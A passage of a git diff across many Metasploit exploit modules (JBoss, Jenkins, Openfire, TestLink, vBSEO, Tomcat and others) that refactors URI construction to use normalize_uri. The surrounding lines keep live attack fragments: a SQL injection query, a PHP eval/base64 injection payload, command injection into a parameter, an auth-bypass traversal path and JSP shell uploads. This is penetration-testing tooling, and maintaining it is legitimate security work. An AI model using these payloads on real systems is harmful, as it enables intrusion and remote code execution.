"/services/javascript.php", + 'uri' => normalize_uri(uri, "/services/javascript.php"), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index f196e48619..4b34db4010 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( - 'uri' => "#{@uri}servlet/Main", + 'uri' => normalize_uri(@uri, 'servlet/Main'), 'method' => 'POST' ) @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { - 'uri' => "#{@uri}j_security_check", + 'uri' => normalize_uri(@uri, 'j_security_check'), 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { - 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", + 'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -285,7 +285,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { - 'uri' => "#{@uri}#{@jsp_name}.jsp", + 'uri' => normalize_uri(@uri, "#{@jsp_name}.jsp"), 'method' => 'GET', 'headers' => { @@ -334,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "" + "\r\n" res = send_request_cgi({ - 'uri' => "#{@uri}services/APIPreferenceImpl", + 'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index d2ea9a7cc8..07d5eb2ada 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -391,7 +391,7 @@ EOT end def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, @@ -449,13 +449,13 @@ EOT if (datastore['VERB']== "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'data' => params }) else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + params + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" }, 30) end res diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 8808c158ff..422b8f8392 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -277,14 +277,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -308,14 +308,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -378,7 +378,7 @@ EOT def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index db63a96cb4..7c36c1fa16 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -176,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote if (datastore['VERB'] == "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -189,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_get' => { 'action' => 'invokeOpByName', @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -314,7 +314,7 @@ class Metasploit3 < Msf::Exploit::Remote def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index bc195f03a9..bd825a7a00 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => "#{@uri.path}script", + 'uri' => normalize_uri(@uri.path, "script"), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@uri.path}j_acegi_security_check", + 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 0206ac51f7..98f2f7ebda 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php" + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php") }) if res and res.code == 200 @@ -87,14 +87,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)") send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php", + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"), 'data' => php }) print_status("#{peer} - Requesting data.php") send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php" + 'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php') }) handler diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fbe992bc3a..61f076de2f 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")}) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{@peer} - Uploading payload") res = send_request_cgi({ - 'uri' => "#{base}/includes/savepage.php", + 'uri' => normalize_uri(base, "/includes/savepage.php"), 'vars_get' => { 'savepage' => php_fname, 'pagecontent' => get_write_exec_payload(:unlink_self=>true) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" }) + send_request_cgi({ 'uri' => normalize_uri(base, pages, php_fname) }) handler end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 96c4a846cb..0347f05503 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_raw(cmd) - path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' + path = normalize_uri(target_uri.path, '/mt-upgrade.cgi') pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 4f4557bb80..a7fc47a52b 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -89,10 +89,10 @@ class Metasploit3 < Msf::Exploit::Remote end def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' - path = "#{base}login.jsp" + path = normalize_uri(base, "login.jsp") res = send_request_cgi( { 'uri' => path @@ -183,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), 'method' => 'POST', 'data' => data, 'headers' => @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 3fa5bff907..1e95400a80 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -252,7 +252,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying file: #{f}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}mods/documents/uploads/#{f}", + 'uri' => normalize_uri(base, 'mods/documents/uploads/', f), 'cookie' => cookie }) end diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 7e1bee9ef4..6052a86061 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -56,9 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { @@ -74,9 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote end def get_session - uri normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 3de593e6cd..d0733a8efb 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -73,13 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path print_status("#{rhost}#{rport} - Sending request...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}drawimage.php", + 'uri' => normalize_uri(uri, "drawimage.php"), 'vars_get' => { 'pdf' => 'make', 'pfilez' => "xxx; #{payload.encoded}" diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 10c502fc7f..1015e29dd6 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -61,9 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') res = send_request_raw( { @@ -77,9 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') send_request_cgi( { diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 9bbbcb3967..1552699482 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote header = rand_text_alpha_upper(3) header_append = rand_text_alpha_upper(4) - uri = normalize_uri(datastore['URI']) - uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' + uri = normalize_uri(datastore['URI'], "pmwiki.php") res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 39df154e4f..47959f1b71 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70 @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Login res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/login", + 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Exploit::Remote # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 830202444b..cf46bf92d7 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -64,12 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(datastore['URI']) - if uri[-1,1] != '/' - uri = uri + "index.php" - else - uri = uri + "/index.php" - end + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_raw({ 'uri' => uri @@ -91,12 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "login.php" - else - uri = uri + "/login.php" - end + uri = normalize_uri(datastore['URI'], "login.php") res = send_request_cgi({ 'uri' => uri, @@ -121,12 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote def upload_page(session, newpage, contents) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "ftp_upload_file.php" - else - uri = uri + "/ftp_upload_file.php" - end + uri = normalize_uri(datastore['URI'], "ftp_upload_file.php") boundary = rand_text_alphanumeric(6) @@ -187,12 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + cmdpath - else - uri = uri + "/#{cmdpath}" - end + uri = normalize_uri(datastore['URI'], cmdpath) send_request_raw({ 'uri' => uri diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 4abf1ce645..61d7a559d7 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") res = send_request_cgi( { - 'uri' => "#{@uri}appliance/#{@jsp_name}.jsp", + 'uri' => normalize_uri("#{@uri}appliance/#{@jsp_name}.jsp"), 'method' => 'GET' }) diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 28f3e0854e..d91113a065 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}login.php" + 'uri' => normalize_uri(base, "login.php") }) return Exploit::CheckCode::Unknown if res.nil? @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}", + 'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 @@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/#{table}/#{id}/" + 'uri' => normalize_uri(base, "upload_area", table, id) }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 @@ -238,11 +238,11 @@ class Metasploit3 < Msf::Exploit::Remote # attempt to retrieve real file name from the database if @token.nil? print_status("#{@peer} - Retrieving real file name from the database.") - sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" + sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}#{sqli}", + 'uri' => sqli, 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote begin send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php" + 'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 5fdf162a99..a46cd2c033 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote # # UPLOAD # - path_tmp = normalize_uri(datastore['PATH']) + "/deploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote # # DELETE # - path_tmp = normalize_uri(datastore['PATH']) + "/undeploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote end def query_serverinfo() - path = normalize_uri(datastore['PATH']) + '/serverinfo' + path = normalize_uri(datastore['PATH'], '/serverinfo') res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 54565c898e..ca61aeed05 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -58,8 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" + uri = normalize_uri(datastore['URI'], "admincp", "login.php") res = send_request_raw( { @@ -75,8 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit p = Rex::Text.encode_base64(payload.encoded) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" + uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook" res = send_request_cgi( { @@ -92,8 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote } }, 25) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "index.php" : "/index.php" + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_cgi( { diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 5735349a01..3745fe16e3 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -55,9 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => "POST", @@ -82,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f4ba74ac42..e93870a0bf 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res1 = send_request_raw({'uri'=>"#{base}/index.php"}) - res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"}) + res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")}) + res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")}) if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and res2 and res2.code == 200 @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/work/resultimage.php", + 'uri' => normalize_uri("#{base}/work/resultimage.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - @target_path = "#{base}/results/#{fname}" + @target_path = normalize_uri("#{base}/results/#{fname}") print_status("#{peer} - Requesting #{@target_path}") res = send_request_cgi({'uri'=>@target_path}) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index f2c8d8de11..000336b98b 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_cookie res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php" + 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login - uri = "#{@base}wikka.php?wakka=UserSettings" + uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) @@ -189,11 +189,11 @@ class Metasploit3 < Msf::Exploit::Remote # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" - uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}spamlog.txt.php" + 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 3fde5b946a..c8a99cdb92 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -61,12 +61,11 @@ class Metasploit3 < Msf::Exploit::Remote def check base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' sig = rand_text_alpha(10) res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => sig, 'new' => '1', @@ -86,10 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending GET request...") base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => "&#{payload.encoded} #", 'new' => '1', diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb 